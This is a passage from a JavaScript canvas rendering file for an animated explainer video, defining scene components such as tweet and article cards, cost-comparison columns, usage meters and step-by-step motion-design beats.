  },
  hand(s, R) {   // the media rect at rest, for a board item that morphs out of it (screen morph: true)
    const P = tweet.prep(s, R); return P.mh ? [P.x + P.pad, P.top + (P.L.lines - 1) * P.lh + 34, P.w - P.pad * 2, P.mh] : null;
  },
  draw(R, s, t) {
    const { ctx } = R, P = tweet.prep(s, R), { x, y, w, h, size, lh, pad, L, top, mh, M } = P;
    env(ctx, s, t, pin => rise(ctx, pin, 70, () => {
      sheet(ctx, x, y, w, h, 34, { elev: 1.2 });
      if (s.label) cardLabel(ctx, x + 12, y + 12, s.label, s.dot === 'blue' ? C.blue : s.dot === 'gray' ? C.ink3 : null);
      // header
      const ax = x + pad, ay = y + 40, img = s.avatar ? R.frame(s.avatar, 0) : null;
      if (s.initial) {   // YouTube-style letter avatar
        ctx.beginPath(); ctx.arc(ax + 44, ay + 44, 44, 0, TAU); ctx.fillStyle = C.ink2; ctx.fill();
        text(ctx, s.initial, ax + 44, midBase(ay + 44, 44), { size: 44, weight: 700, align: 'center', color: C.white });
      } else { ctx.save(); ctx.beginPath(); ctx.arc(ax + 44, ay + 44, 44, 0, TAU); ctx.clip(); cover(ctx, img, ax, ay, 88, 88); ctx.restore(); }
      const nx = ax + 88 + 22;
      text(ctx, s.name, nx, ay + 38, { size: 40, weight: 800, ls: -.6 });
      if (s.verified) verified(ctx, nx + measure(ctx, s.name, 40, 800, -.6) + 30, ay + 24, 17);
      text(ctx, s.handle, nx, ay + 82, { size: 34, weight: 500, color: C.ink3 });
      if (isImgLogo(s.logo)) logoImg(R, ctx, s.logo, x + w - pad - 64, ay - 2, 64, 14); else xLogo(ctx, x + w - pad - 20, ay + 26, 36, C.ink);
      // highlighter under the words, sweeping line by line
      for (const m of P.marks) {
        const tot = m.segs.reduce((a, g) => a + g.x1 - g.x0, 0); let left = tot * E.cubic(seg(t, m.at, m.at + (m.dur ?? .7)));
        if (left <= .5) continue;
        ctx.save(); ctx.fillStyle = 'rgba(37,142,255,.24)';
        for (const g of m.segs) { if (left <= 0) break; const gw = Math.min(left, g.x1 - g.x0); left -= g.x1 - g.x0;
          ctx.beginPath(); ctx.roundRect(x + pad + g.x0 - 6, top + g.line * lh - size * .86, gw + 12, size * 1.18, 8); ctx.fill(); }
        ctx.restore();
      }
      // read: {from, to} = read-along: each word goes from ink3 to ink on the spoken word it maps to
      const rd = s.read ? (P.toks ||= typing(L.words.map(wd => wd.runs.map(r => r.t).join('')).join(' '), R.tl.words, s.read.from, s.read.to)) : null;
      L.words.forEach((wd, i) => { let wx = x + pad + wd.x; const color = rd ? mix(C.ink3, C.ink, S(t - rd[i].start + .04, 22)) : C.ink;
        for (const r of wd.runs) { text(ctx, r.t, wx, top + wd.line * lh, { size, weight: r.bold ? 700 : 500, color }); wx += r.w; } });
      if (mh && !(s._handTo != null && t >= s._handTo)) {   // the post's own video / image, playing inside the card like on X (until a morph takes it)
        const my = top + (L.lines - 1) * lh + 34, m = tweetMedia(s, t), img = m ? R.frame(m[0], m[1]) : null;
        cover(ctx, img, x + pad, my, w - pad * 2, mh, 22);
        ctx.save(); ctx.beginPath(); ctx.roundRect(x + pad, my, w - pad * 2, mh, 22); ctx.strokeStyle = 'rgba(20,22,27,.1)'; ctx.lineWidth = 1.5; ctx.stroke(); ctx.restore();
      }
      if (s.footer) {
        const fy = top + (L.lines - 1) * lh + M + 26 + 30;
        ctx.fillStyle = C.line; ctx.fillRect(x + pad, fy - 30, w - pad * 2, 2);
        let fx = x + pad;
        for (const [str, strong] of s.footer.split('**').map((q, k) => [q, k % 2 === 1])) { text(ctx, str, fx, fy + 36, { size: 34, weight: strong ? 700 : 500, color: strong ? C.ink : C.ink3 }); fx += measure(ctx, str, 34, strong ? 700 : 500); }
      }
      if (s.photo) {   // photo: a camera flash washing over the card as it lands (the shutter sound is in cues.js)
        const f = t - (s.from - (s.pre || 0));
        if (f > 0 && f < .5) { ctx.save(); ctx.beginPath(); ctx.roundRect(x, y, w, h, 34); ctx.fillStyle = `rgba(255,255,255,${(Math.pow(1 - f / .5, 2) * .9).toFixed(3)})`; ctx.fill(); ctx.restore(); }
      }
    }));
  },
};

// ---- article: a press source rebuilt natively (crisp at any size, unlike a page screenshot). Outlet row (real logo +
// name + date), headline, optional pulled quote with a blue rule and attribution. Height follows the text.
// { rect: [x, y, w], center: true, logo: 'assets/logos/cnbc.png', outlet: 'CNBC', date: '29 sept. 2026', kicker: 'Tech',
//   headline, headSize: 54, hlMark: { at, dur },            // highlighter sweeping the whole headline when it is said
//   headMarks: [{ at, text, dur }],                          // or only these words of the headline, each when it is said
//   quote, quoteSize: 38, by: 'Arthur Mensch, CEO de Mistral', marks: [{ at, text, dur }], read: { from, to } }
const H_ = H;
const article = {
  prep(s, R) {
    if (s._p) return s._p;
    const { ctx } = R, [x, y, w] = s.rect, pad = 48, hs = s.headSize || 54, hlh = Math.round(hs * 1.16), qs = s.quoteSize || 38, qlh = Math.round(qs * 1.38);
    const H = wrap(ctx, s.headline || '', w - pad * 2, hs, 800, -1.2), htop = y + pad + 64 + 34 + hs * .82;
    const Q = s.quote ? richLayout(ctx, s.quote, w - pad * 2 - 34, qs) : null, qtop = htop + (H.length - 1) * hlh + 46 + 30 + qs * .82;
    const h = Q ? qtop - y + (Q.lines - 1) * qlh + (s.by ? 84 : 30) + pad - 10 : htop - y + (H.length - 1) * hlh + pad;
    const dy = s.center ? Math.round((H_ - h) / 2) - y : 0;   // center: true centres the card on the stage height
    return (s._p = { x, y: y + dy, w, h, pad, hs, hlh, qs, qlh, H, htop: htop + dy, Q, qtop: qtop + dy, marks: Q ? (s.marks || []).map(m => ({ ...m, segs: markSegs(Q, m.text) })) : [] });
  },
  draw(R, s, t) {
    const { ctx } = R, P = article.prep(s, R), { x, y, w, h, pad, hs, hlh, qs, qlh, H, htop, Q, qtop } = P;
    env(ctx, s, t, pin => rise(ctx, pin, 70, () => {
      sheet(ctx, x, y, w, h, 30, { elev: 1.2 });
      // outlet row: logo, name, date (right), kicker chip
      let lx = x + pad;
      if (isImgLogo(s.logo)) { logoImg(R, ctx, s.logo, lx, y + pad, 64, 14); lx += 64 + 20; }
      text(ctx, s.outlet || '', lx, midBase(y + pad + 32, 36), { size: 36, weight: 800, ls: -.4 });
      if (s.kicker) { const kx = lx + measure(ctx, s.outlet || '', 36, 800, -.4) + 22, kw = measure(ctx, s.kicker, 26, 700) + 28;
        ctx.save(); ctx.beginPath(); ctx.roundRect(kx, y + pad + 15, kw, 36, 18); ctx.fillStyle = C.tint; ctx.fill(); ctx.restore();
        text(ctx, s.kicker, kx + 14, midBase(y + pad + 33, 26), { size: 26, weight: 700, color: C.blue }); }
      if (s.date) text(ctx, s.date, x + w - pad, midBase(y + pad + 32, 30), { size: 30, weight: 500, color: C.ink3, align: 'right' });
      ctx.fillStyle = C.line; ctx.fillRect(x + pad, y + pad + 64 + 16, w - pad * 2, 2);
      // headline, with an optional highlighter sweep over all its lines
      if (s.hlMark) {
        const ws = H.map(l => measure(ctx, l, hs, 800, -1.2)), tot = ws.reduce((a, b) => a + b, 0);
        let left = tot * E.cubic(seg(t, s.hlMark.at, s.hlMark.at + (s.hlMark.dur ?? .9)));
        ctx.save(); ctx.fillStyle = 'rgba(37,142,255,.22)';
        H.forEach((l, i) => { if (left <= .5) return; const gw = Math.min(left, ws[i]); left -= ws[i];
          ctx.beginPath(); ctx.roundRect(x + pad - 8, htop + i * hlh - hs * .84, gw + 16, hs * 1.12, 10); ctx.fill(); });
        ctx.restore();
      }
      for (const m of s.headMarks || []) {   // a phrase of the headline, swept across the wrapped lines it spans
        const all = H.join(' '), i0 = all.indexOf(m.text);
        if (i0 < 0) continue;
        const segs = []; let c0 = 0;
        H.forEach((l, i) => { const a = Math.max(i0, c0), b = Math.min(i0 + m.text.length, c0 + l.length);
          if (b > a) { const x0 = measure(ctx, l.slice(0, a - c0), hs, 800, -1.2); segs.push([i, x0, measure(ctx, l.slice(0, b - c0), hs, 800, -1.2) - x0]); }
          c0 += l.length + 1; });
        let left = segs.reduce((a, g) => a + g[2], 0) * E.cubic(seg(t, m.at, m.at + (m.dur ?? .8)));
        if (left <= .5) continue;
        ctx.save(); ctx.fillStyle = 'rgba(37,142,255,.24)';
        for (const [i, x0, gw0] of segs) { if (left <= 0) break; const gw = Math.min(left, gw0); left -= gw0;
          ctx.beginPath(); ctx.roundRect(x + pad + x0 - 8, htop + i * hlh - hs * .84, gw + 16, hs * 1.12, 10); ctx.fill(); }
        ctx.restore();
      }
      H.forEach((l, i) => text(ctx, l, x + pad, htop + i * hlh, { size: hs, weight: 800, ls: -1.2 }));
      if (!Q) return;
      // pulled quote: blue rule, highlighter marks, optional read-along, attribution
      const qx = x + pad + 34;
      ctx.fillStyle = C.blue; ctx.beginPath(); ctx.roundRect(x + pad, qtop - qs * .9, 6, (Q.lines - 1) * qlh + qs * 1.2, 3); ctx.fill();
      for (const m of P.marks) {
        const tot = m.segs.reduce((a, g) => a + g.x1 - g.x0, 0); let left = tot * E.cubic(seg(t, m.at, m.at + (m.dur ?? .7)));
        if (left <= .5) continue;
        ctx.save(); ctx.fillStyle = 'rgba(37,142,255,.24)';
        for (const g of m.segs) { if (left <= 0) break; const gw = Math.min(left, g.x1 - g.x0); left -= g.x1 - g.x0;
          ctx.beginPath(); ctx.roundRect(qx + g.x0 - 6, qtop + g.line * qlh - qs * .86, gw + 12, qs * 1.18, 8); ctx.fill(); }
        ctx.restore();
      }
      const rd = s.read ? (P.toks ||= typing(Q.words.map(wd => wd.runs.map(r => r.t).join('')).join(' '), R.tl.words, s.read.from, s.read.to)) : null;
      Q.words.forEach((wd, i) => { let wx = qx + wd.x; const color = rd ? mix(C.ink3, C.ink, S(t - rd[i].start + .04, 22)) : C.ink;
        for (const r of wd.runs) { text(ctx, r.t, wx, qtop + wd.line * qlh, { size: qs, weight: r.bold ? 700 : 500, color }); wx += r.w; } });
      if (s.by) text(ctx, s.by, qx, qtop + (Q.lines - 1) * qlh + 64, { size: 30, weight: 600, color: C.ink3 });
    }));
  },
};

// ---- columns: vertical cost columns rebuilt from a bar chart (Artificial Analysis "Cost per Intelligence Index Task").
// groups: [{cols: [{name, sub, value, text, at, blue}], ghost: {at, over: 0, of: 1, chip: {text, at}}}] side by side on one
// baseline; value on top of each column, name + sub under it. ghost draws the taller column `of` as a dashed outline over
// the cheaper column `over`, with a ratio chip above it ("5.7x"). {base: 1080, y0: 470 (top of the tallest), cx: 520}
const columns = {
  draw(R, s, t) {
    const { ctx } = R, base = s.base ?? 1080, top = s.y0 ?? 470, cw = s.colW ?? 170, gi = s.gapIn ?? 30, go = s.gapOut ?? 90;
    const max = s.max ?? Math.max(...s.groups.flatMap(g => g.cols.map(c => c.value))), H = v => (base - top) * v / max;
    const gw = g => g.cols.length * cw + (g.cols.length - 1) * gi, total = s.groups.reduce((a, g) => a + gw(g), 0) + go * (s.groups.length - 1);
    const x0 = (s.cx ?? W / 2) - total / 2;
    env(ctx, s, t, () => {
      if (s.header) rise(ctx, S(t - s.header.at, 12), 40, () => text(ctx, s.header.text, W / 2, 240, { size: 64, weight: 800, ls: -1.8, align: 'center' }));
      if (s.sub) rise(ctx, S(t - s.sub.at, 12), 30, () => text(ctx, s.sub.text, W / 2, 300, { size: 34, weight: 600, color: C.ink2, align: 'center' }));
      const g0 = E.out(seg(t, s.from + .05, s.from + .6));
      alpha(ctx, S(t - s.from - .1, 12), () => {   // dotted grid, like the source chart
        ctx.save(); ctx.setLineDash([3, 9]); ctx.strokeStyle = 'rgba(40,30,10,.18)'; ctx.lineWidth = 2;
        for (let k = 1; k <= 4; k++) { const yy = base - (base - top) * k / 4; ctx.beginPath(); ctx.moveTo(x0 - 30, yy); ctx.lineTo(lerp(x0 - 30, x0 + total + 30, g0), yy); ctx.stroke(); }
        ctx.restore();
      });
      ctx.save(); ctx.strokeStyle = C.ink; ctx.lineWidth = 3; ctx.lineCap = 'round';
      ctx.beginPath(); ctx.moveTo(x0 - 30, base); ctx.lineTo(lerp(x0 - 30, x0 + total + 30, g0), base); ctx.stroke(); ctx.restore();
      let gx = x0;
      for (const g of s.groups) {
        const cx = i => gx + i * (cw + gi);
        if (g.ghost) {   // the expensive column's height, drawn over the cheap one
          const q = g.ghost, gh = H(g.cols[q.of ?? 1].value), p = E.out(seg(t, q.at, q.at + .55)), X = cx(q.over ?? 0);
          alpha(ctx, Math.min(1, p * 2), () => {
            ctx.beginPath(); ctx.roundRect(X, base - gh * p, cw, gh * p, [16, 16, 0, 0]); ctx.fillStyle = 'rgba(37,142,255,.08)'; ctx.fill();
            ctx.setLineDash([10, 9]); ctx.strokeStyle = 'rgba(37,142,255,.6)'; ctx.lineWidth = 2.5; ctx.stroke(); ctx.setLineDash([]);
          });
          if (q.chip) { const pc = S(t - q.chip.at, 13); if (pc > .002) rise(ctx, pc, 20, () => chip(ctx, X + cw / 2, base - gh - 56, q.chip.text, { size: 40, h: 80, padX: 26, fill: C.blue, color: C.white, border: false })); }
        }
        g.cols.forEach((c, i) => {
          const X = cx(i), p = S(t - c.at, 12), gr = S(t - c.at - .05, 7), h = Math.max(8, H(c.value) * gr), col = c.blue ? C.blue : C.ink3;
          if (p <= .002) return;
          alpha(ctx, Math.min(1, p * 1.4), () => { ctx.beginPath(); ctx.roundRect(X, base - h, cw, h, [16, 16, 0, 0]); ctx.fillStyle = col; ctx.fill(); });
          rise(ctx, S(t - c.at - .15, 13), 16, () => text(ctx, c.text, X + cw / 2, base - h - 22, { size: 46, weight: 800, ls: -1, align: 'center', color: c.blue ? C.blue : C.ink, halo: 10 }));
          rise(ctx, p, 20, () => {
            text(ctx, c.name, X + cw / 2, base + 62, { size: 42, weight: 800, ls: -.8, align: 'center', color: c.blue ? C.ink : C.ink2 });
            if (c.sub) text(ctx, c.sub, X + cw / 2, base + 108, { size: 36, weight: 600, align: 'center', color: C.ink3 });
          });
        });
        gx += gw(g) + go;
      }
    });
  },
};

// ---- recap: numbered list on one sheet ("les 9 changements"). {rect: [x, y, w], header: {text, count, at}, rh: 98,
// rows: [{title, sub, at}]}. Rows land in a quick cascade; the number sits in a blue disc.
const recap = {
  draw(R, s, t) {
    const { ctx } = R, [x, y, w] = s.rect, rh = s.rh ?? 98, head = 118, pad = 40, h = head + s.rows.length * rh + 18;
    env(ctx, s, t, pin => rise(ctx, pin, 70, () => {
      sheet(ctx, x, y, w, h, 36, { elev: 1.3 });
      if (s.header) {
        text(ctx, s.header.text, x + pad, y + 78, { size: 52, weight: 800, ls: -1.2 });
        if (s.header.count) text(ctx, s.header.count, x + w - pad, y + 76, { size: 40, weight: 700, color: C.blue, align: 'right' });
        ctx.fillStyle = C.line; ctx.fillRect(x + pad, y + head - 2, w - pad * 2, 2);
      }
      s.rows.forEach((r, i) => {
        const cy = y + head + i * rh + rh / 2, p = S(t - r.at, 13); if (p <= .002) return;
        rise(ctx, p, 24, () => {
          ctx.beginPath(); ctx.arc(x + pad + 30, cy, 30, 0, TAU); ctx.fillStyle = C.blue; ctx.fill();
          text(ctx, String(i + 1), x + pad + 30, midBase(cy, 34), { size: 34, weight: 800, align: 'center', color: C.white });
          text(ctx, r.title, x + pad + 84, midBase(cy, 44), { size: 44, weight: 800, ls: -.8 });
          if (r.sub) text(ctx, r.sub, x + w - pad, midBase(cy, 36), { size: 36, weight: 600, color: C.ink2, align: 'right' });
          if (i < s.rows.length - 1) { ctx.fillStyle = 'rgba(40,30,10,.06)'; ctx.fillRect(x + pad + 84, cy + rh / 2 - 1, w - pad * 2 - 84, 1.5); }
        });
      });
    }));
  },
};

// ---- usage meters (rebuilt settings popup, e.g. Claude "Plan usage limits"): rows of label + sub + % + bar.
// rows: [{label, sub, value, fill: {value, at, sub}, mark: {at, to}}]. fill animates the bar (and % text); mark tints the row.
const usage = {
  draw(R, s, t) {
    const { ctx } = R, [x, y, w] = s.rect, pad = 46, rh = 168, head = s.title ? 96 : 30, h = head + s.rows.length * rh + 24;
    env(ctx, s, t, pin => rise(ctx, pin, 70, () => {
      sheet(ctx, x, y, w, h, 34, { elev: 1.2 });
      if (s.title) {
        const lx = s.logo ? x + pad + 56 + 18 : x + pad; if (s.logo) logoImg(R, ctx, s.logo, x + pad, y + 22, 56);
        text(ctx, s.title, lx, y + 70, { size: 36, weight: 600, color: C.ink2 }); ctx.fillStyle = C.line; ctx.fillRect(x + pad, y + head - 2, w - pad * 2, 2);
      }
      s.rows.forEach((r, i) => {
        const ry = y + head + i * rh, mk = r.mark ? S(t - r.mark.at, 12) * (1 - (r.mark.to != null ? S(t - r.mark.to, 12) : 0)) : 0;
        if (mk > .002) alpha(ctx, mk, () => { ctx.beginPath(); ctx.roundRect(x + 18, ry + 12, w - 36, rh - 16, 24); ctx.fillStyle = 'rgba(37,142,255,.08)'; ctx.fill(); ctx.strokeStyle = C.blue; ctx.lineWidth = 4; ctx.stroke(); });
        const f = r.fill ? S(t - r.fill.at, 5) : 0, v = lerp(r.value, r.fill?.value ?? r.value, f) * S(t - s.from + (s.pre || 0) - .15 - i * .08, 7), full = v > .995;
        text(ctx, r.label, x + pad, ry + 66, { size: 44, weight: 700, ls: -.5 });
        text(ctx, Math.round(v * 100) + '%', x + w - pad, ry + 66, { size: 42, weight: 700, align: 'right', color: full ? C.ink : C.ink2 });
        const subB = r.fill?.sub ? S(t - r.fill.at - .5, 12) : 0;
        if (subB < .998 && r.sub) text(ctx, r.sub, x + pad, ry + 114, { size: 34, weight: 500, color: C.ink3, alpha: 1 - subB });
        if (subB > .002) text(ctx, r.fill.sub, x + pad, ry + 114, { size: 34, weight: 700, color: C.ink, alpha: subB });
        const by = ry + 134, bw = w - pad * 2;
        ctx.beginPath(); ctx.roundRect(x + pad, by, bw, 16, 8); ctx.fillStyle = 'rgba(40,30,10,.07)'; ctx.fill();
        if (v > .001) { ctx.beginPath(); ctx.roundRect(x + pad, by, Math.max(16, bw * v), 16, 8); ctx.fillStyle = full ? C.ink : C.blue; ctx.fill(); }
      });
    }));
  },
};


// ---------------------------------------------------------------- motion-design film (full paper, seam 1920)
// A sequence of beats ("md*" scenes) played while the video is paused. Each beat has a step header (blue disc with a
// number or logo, title, sub), a faint giant numeral behind it and a 5-step progress rail on top. Beats slide in from
// the right and leave to the left, so back-to-back beats read as one continuous camera move.
function slide(ctx, s, t, fn) {
  const pin = S(t - s.from, 10), out = s.to != null ? S(t - s.to, 10) : 0;
  const a = Math.min(1, pin * 1.3) * (1 - out); if (a <= .002) return;
  ctx.save(); ctx.globalAlpha *= a; ctx.translate(W * .6 * (1 - pin) - W * .6 * out, 0); fn(pin); ctx.restore();
}
function stepHead(ctx, s, t, R) {
  const st = s.step; if (!st) return;
  const y = st.y ?? 430, r = 66, p = S(t - s.from - .05, 12), img = isImgLogo(st.logo);   // image logo = real app icon after the title, the disc keeps the number
  if (st.n != null && (!st.logo || img)) alpha(ctx, .05 * p, () => text(ctx, String(st.n), W - 20, 1560, { size: 900, weight: 800, ls: -40, align: 'right' }));
  if (st.of) {   // progress rail: done steps blue, the current one fills over the beat
    const n = st.of, gap = 14, x0 = 120, sw = (W - 330 - gap * (n - 1)) / n;   // right end leaves room for the pause badge
    for (let i = 0; i < n; i++) {
      const f = i < st.n - 1 ? 1 : i === st.n - 1 ? E.out(seg(t, s.from, s.to ?? s.from + 3)) : 0;
      ctx.beginPath(); ctx.roundRect(x0 + i * (sw + gap), 290, sw, 12, 6); ctx.fillStyle = C.dim; ctx.fill();
      if (f > .001) { ctx.beginPath(); ctx.roundRect(x0 + i * (sw + gap), 290, sw * f, 12, 6); ctx.fillStyle = C.blue; ctx.fill(); }
    }
  }
  ctx.save(); ctx.translate(120, y); const sc = .7 + .3 * p; ctx.scale(sc, sc); ctx.globalAlpha *= Math.min(1, p * 1.4);
  shadow(ctx, -r, -r, r * 2, r * 2, r, 18, .18, 6);
  ctx.beginPath(); ctx.arc(0, 0, r, 0, TAU); ctx.fillStyle = C.blue; ctx.fill();
  if (st.logo && LOGO[st.logo]) LOGO[st.logo](ctx, 0, 0, 34, C.white);
  else text(ctx, String(st.n), 0, midBase(0, 64), { size: 64, weight: 800, align: 'center', color: C.white });
  ctx.restore();
  rise(ctx, S(t - s.from - .12, 12), 30, () => {
    text(ctx, st.title, 218, midBase(y - 24, 80), { size: 80, weight: 800, ls: -2.4 });
    if (img && R) { const ix = 218 + measure(ctx, st.title, 80, 800, -2.4) + 26; shadow(ctx, ix, y - 68, 88, 88, 20, 14, .16, 5); logoImg(R, ctx, st.logo, ix, y - 68, 88, 20); }
  });
  if (st.sub) rise(ctx, S(t - s.from - .22, 12), 30, () => text(ctx, st.sub, 220, midBase(y + 50, 44), { size: 44, weight: 600, color: C.ink2 }));
}
// a rubber stamp that lands (scale 1.35 -> 1, no overshoot) at a slight angle
function stamp(ctx, x, y, str, p, o = {}) {
  if (p <= .002) return;
  const size = o.size || 60, w = measure(ctx, str, size, 800, -1) + 70, h = size + 50;
  ctx.save(); ctx.globalAlpha *= Math.min(1, p * 1.6); ctx.translate(x, y); ctx.rotate(o.rot ?? -.07); const k = 1 + .35 * (1 - p); ctx.scale(k, k);
  ctx.beginPath(); ctx.roundRect(-w / 2, -h / 2, w, h, 22); ctx.fillStyle = o.fill || 'rgba(37,142,255,.08)'; ctx.fill();
  ctx.lineWidth = 7; ctx.strokeStyle = C.blue; ctx.stroke();
  text(ctx, str, 0, midBase(0, size), { size, weight: 800, ls: -1, align: 'center', color: C.blue });
  ctx.restore();
}
const fmtT = x => { const m = Math.floor(x / 60), s = x - m * 60; return `${String(m).padStart(2, '0')}:${s.toFixed(2).padStart(5, '0')}`; };

// ---- mdGrid: a slowly drifting dot grid on the paper for the whole film. {from, to}
const mdGrid = {
  draw(R, s, t) {
    const { ctx } = R, a = vis(t, s.from, s.to ?? 1e9, 8, 12) * .5; if (a <= .002) return;
    const g = 60, oy = -((t - s.from) * 14) % g;
    ctx.save(); ctx.globalAlpha *= a; ctx.fillStyle = 'rgba(40,30,10,.13)';
    for (let y = oy; y < 1940; y += g) for (let x = 30; x < W; x += g) { ctx.beginPath(); ctx.arc(x, y, 2.6, 0, TAU); ctx.fill(); }
    ctx.restore();
  },
};

// ---- mdIntro: the narrator introduces itself. Big logo tile on a slow sunburst, title, then a sub line whose words
// land on the narrator's words. {y, title, sub: {text, at, to, emph}}
const mdIntro = {
  draw(R, s, t) {
    const { ctx } = R, y = s.y ?? 640, u = t - s.from;
    slide(ctx, s, t, pin => {
      // sunburst
      alpha(ctx, S(u, 6) * .9, () => {
        ctx.save(); ctx.translate(W / 2, y); ctx.rotate(u * .12);
        for (let i = 0; i < 24; i++) { ctx.rotate(TAU / 24); ctx.beginPath(); ctx.moveTo(0, 0); ctx.arc(0, 0, 1300, -.055, .055); ctx.closePath(); ctx.fillStyle = i % 2 ? 'rgba(37,142,255,.05)' : 'rgba(40,30,10,.025)'; ctx.fill(); }
        ctx.restore();
      });
      // expanding rings on entry
      for (let k = 0; k < 3; k++) { const e = seg(u, .05 + k * .14, .95 + k * .14); if (e > 0 && e < 1) alpha(ctx, (1 - e) * .7, () => { ctx.beginPath(); ctx.arc(W / 2, y, 150 + 420 * E.out(e), 0, TAU); ctx.strokeStyle = C.blue; ctx.lineWidth = 6 * (1 - e) + 1; ctx.stroke(); }); }
      const p = S(u, 11), sz = 320 * (.7 + .3 * p);
      alpha(ctx, Math.min(1, p * 1.5), () => {
        ctx.save(); ctx.translate(W / 2, y); ctx.rotate(-.35 * (1 - p));
        shadow(ctx, -sz / 2, -sz / 2, sz, sz, sz * .27, 40, .28, 16);
        ctx.beginPath(); ctx.roundRect(-sz / 2, -sz / 2, sz, sz, sz * .27); ctx.fillStyle = C.blue; ctx.fill();
        LOGO.claude(ctx, 0, 0, sz * .32, C.white); ctx.restore();
      });
      const words = s.title.split(' '), size = 150, ls = -5, sp = measure(ctx, ' ', size, 800, ls), ws = words.map(w => measure(ctx, w, size, 800, ls));
      let x = W / 2 - (ws.reduce((a, b) => a + b, 0) + sp * (words.length - 1)) / 2;
      words.forEach((w, i) => { const q = S(u - .15 - i * .1, 13), wx = x; x += ws[i] + sp; rise(ctx, q, 60, () => text(ctx, w, wx, y + 370, { size, weight: 800, ls })); });
      if (s.sub) {
        const toks = typing(s.sub.text, R.tl.words.some(w => w.narrator) ? R.tl.words.filter(w => w.narrator) : R.tl.words, s.sub.at, s.sub.to ?? s.sub.at + 1.5), fs = 64;
        const lines = wrap(ctx, s.sub.text, 900, fs, 700); let k = 0;
        lines.forEach((ln, li) => {
          const lw = ln.split(' '), lws = lw.map(w => measure(ctx, w, fs, 700)), lsp = measure(ctx, ' ', fs, 700);
          let lx = W / 2 - (lws.reduce((a, b) => a + b, 0) + lsp * (lw.length - 1)) / 2;
          lw.forEach((w, i) => {
            const tk = toks[k++], q = tk ? S(t - tk.start + .04, 18) : 1, wx = lx; lx += lws[i] + lsp;
            const em = s.sub.emph && w.replace(/[.,]/g, '') === s.sub.emph;
            rise(ctx, q, 26, () => text(ctx, w, wx, y + 520 + li * 84, { size: fs, weight: 700, color: em ? C.blue : C.ink2 }));
          });
        });
      }
    });
  },
};

// ---- overlay: a full-frame transparent clip (a media with alpha: true, e.g. an app UI animated in HTML and captured with
// omitBackground) drawn straight over the frame, under the captions. With layer: 'over' it sits on top of the full-screen
// camera (seam 0), e.g. the Instagram Reels UI over the creator's face for a comment CTA. Keep it inside a full-screen
// stretch: a window move draws the camera card over the 'over' layer. {media, from, to, offset, fade (s, 0 = cut),
// rect: [x, y, w, h] (default the whole layer: 0, 0, W, H; a 1920x1080 clip on a youtube 'over'/'top' layer = [0, 0, 1920, 1080])}
const overlay = {
  needs(s, t) { return t >= s.from - .1 && t <= (s.to ?? 1e9) + .1 ? [[s.media, clipTime(t, s.from, s.offset || 0)]] : []; },
  draw(R, s, t) {
    const to = s.to ?? 1e9; if (t < s.from || t > to) return;
    const img = R.frame(s.media, clipTime(t, s.from, s.offset || 0)); if (!img) return;
    const f = s.fade || 0, a = f ? Math.min(1, (t - s.from) / f, (to - t) / f) : 1;
    const [x, y, w, h] = s.rect || [0, 0, W, H], m = R.media?.(s.media), c = m?.crop;   // crop: only the clip's visible box is stored
    const kx = c ? w / m.w : 0, ky = c ? h / m.h : 0;
    alpha(R.ctx, a, () => c ? R.ctx.drawImage(img, x + c[0] * kx, y + c[1] * ky, c[2] * kx, c[3] * ky) : R.ctx.drawImage(img, x, y, w, h));
  },
};

// ---- mdRec: step 1, the raw take. The card plays the source, a REC pill blinks, the timecode runs, then a stamp.
// {step, media, y, clock (seconds shown at the end), stamp: {text, at}}
const mdRec = {
  needs(s, t) { return t >= s.from - .3 && t <= (s.to ?? 1e9) + .7 ? [[s.media, clipTime(t, s.from, s.offset || 0)]] : []; },
  draw(R, s, t) {
    const { ctx } = R, w = 960, h = 540, x = W / 2 - w / 2, y = s.y ?? 600;
    slide(ctx, s, t, () => {
      stepHead(ctx, s, t, R);
      const img = R.frame(s.media, clipTime(t, s.from, s.offset || 0));
      rise(ctx, S(t - s.from - .1, 11), 60, () => {
        card(R, x, y, w, h, img);
        const blink = Math.sin((t - s.from) * 6) > -.3 ? 1 : .25;
        ctx.beginPath(); ctx.roundRect(x + 28, y + 28, 168, 64, 32); ctx.fillStyle = 'rgba(20,22,27,.62)'; ctx.fill();
        alpha(ctx, blink, () => { ctx.beginPath(); ctx.arc(x + 62, y + 60, 13, 0, TAU); ctx.fillStyle = C.blue; ctx.fill(); });
        text(ctx, 'REC', x + 88, midBase(y + 60, 36), { size: 36, weight: 800, color: C.white });
        const secs = (s.clock || 55) * E.io(seg(t, s.from + .2, s.to ?? s.from + 2.5)), tc = fmtT(secs);
        const tw = measure(ctx, tc, 36, 600, 0, 'JetBrains Mono') + 44;
        ctx.beginPath(); ctx.roundRect(x + w - 28 - tw, y + h - 28 - 64, tw, 64, 32); ctx.fillStyle = 'rgba(20,22,27,.62)'; ctx.fill();
        text(ctx, tc, x + w - 28 - tw / 2, midBase(y + h - 28 - 32, 36), { size: 36, weight: 600, align: 'center', color: C.white, fam: 'JetBrains Mono' });
      });
      if (s.stamp) stamp(ctx, W / 2, y + h + 260, s.stamp.text, S(t - s.stamp.at, 16), { size: 88 });
    });
  },
};

// ---- mdWave: step 2, transcription. A waveform, a playhead that sweeps it, and each word it passes drops into a list
// with its timestamp. {step, y, words: [[text, seconds]], sweepFrom, sweepTo, markAt (decimals turn blue)}
const mdWave = {
  draw(R, s, t) {
    const { ctx } = R, x = 60, w = 960, y = s.y ?? 600, h = 300, n = 64, bw = (w - 80) / n;
    const ph = E.io(seg(t, s.sweepFrom, s.sweepTo)), phx = x + 40 + (w - 80) * ph, mk = s.markAt != null ? S(t - s.markAt, 12) : 0;
    slide(ctx, s, t, () => {
      stepHead(ctx, s, t, R);
      rise(ctx, S(t - s.from - .1, 11), 60, () => {
        sheet(ctx, x, y, w, h, 36, { elev: 1.2 });
        for (let i = 0; i < n; i++) {
          const v = .15 + .85 * Math.pow(noise1(i * .55 + 3), 1.4) * (.55 + .45 * Math.abs(Math.sin(i * .9))), bh = (h - 70) * v, bx = x + 40 + i * bw;
          const on = bx < phx; ctx.beginPath(); ctx.roundRect(bx + 2, y + h / 2 - bh / 2, bw - 5, bh, (bw - 5) / 2); ctx.fillStyle = on ? C.blue : C.dim; ctx.fill();
        }
        if (t > s.sweepFrom - .2) { ctx.fillStyle = C.ink; ctx.fillRect(phx - 2.5, y + 14, 5, h - 28); ctx.beginPath(); ctx.arc(phx, y + 14, 11, 0, TAU); ctx.fill(); }
      });
      const L = s.words.length;
      s.words.forEach(([wd, sec], i) => {
        const f = (i + .5) / L, at = s.sweepFrom + (s.sweepTo - s.sweepFrom) * f * .92, p = S(t - at, 13); if (p <= .002) return;
